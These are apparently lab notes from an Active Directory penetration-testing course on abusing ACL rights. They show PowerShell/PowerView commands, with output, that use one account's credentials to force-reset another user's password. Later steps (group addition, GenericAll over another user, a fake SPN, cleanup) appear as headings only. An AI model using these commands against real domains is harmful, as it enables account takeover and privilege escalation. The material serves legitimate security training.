ACL Abuse Tactics
Sample Exploitation
Login as wley and force change the password of the user damundsen
PS C:\htb> $SecPassword = ConvertTo-SecureString '<PASSWORD HERE>' -AsPlainText -Force
PS C:\htb> $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $SecPassword) PS C:\htb> $damundsenPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
PS C:\htb> cd C:\Tools\
PS C:\htb> Import-Module .\PowerView.ps1
PS C:\htb> Set-DomainUserPassword -Identity damundsen -AccountPassword $damundsenPassword -Credential $Cred -Verbose
VERBOSE: [Get-PrincipalContext] Using alternate credentials
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'damundsen'
VERBOSE: [Set-DomainUserPassword] Password for user 'damundsen' successfully resetLogin as damundsen and add damunsend to the Help Desk Level 1 group
Utilize nested group membership for GenericAll rights to control adunn user
Cleanup
Removing the Fake SPN from adunn's Account
Removing damundsen from the Help Desk Level 1 Group
Confirming damundsen was Removed from the Group
Last updated